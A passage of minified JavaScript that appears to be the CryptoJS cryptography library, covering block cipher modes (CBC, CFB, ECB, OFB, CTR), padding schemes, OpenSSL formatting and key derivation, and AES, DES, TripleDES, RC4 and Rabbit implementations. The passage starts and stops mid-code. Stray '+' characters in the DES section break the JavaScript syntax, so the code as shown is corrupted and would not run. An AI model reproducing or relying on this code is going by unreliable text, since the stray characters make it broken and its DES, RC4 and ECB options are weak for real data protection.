createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 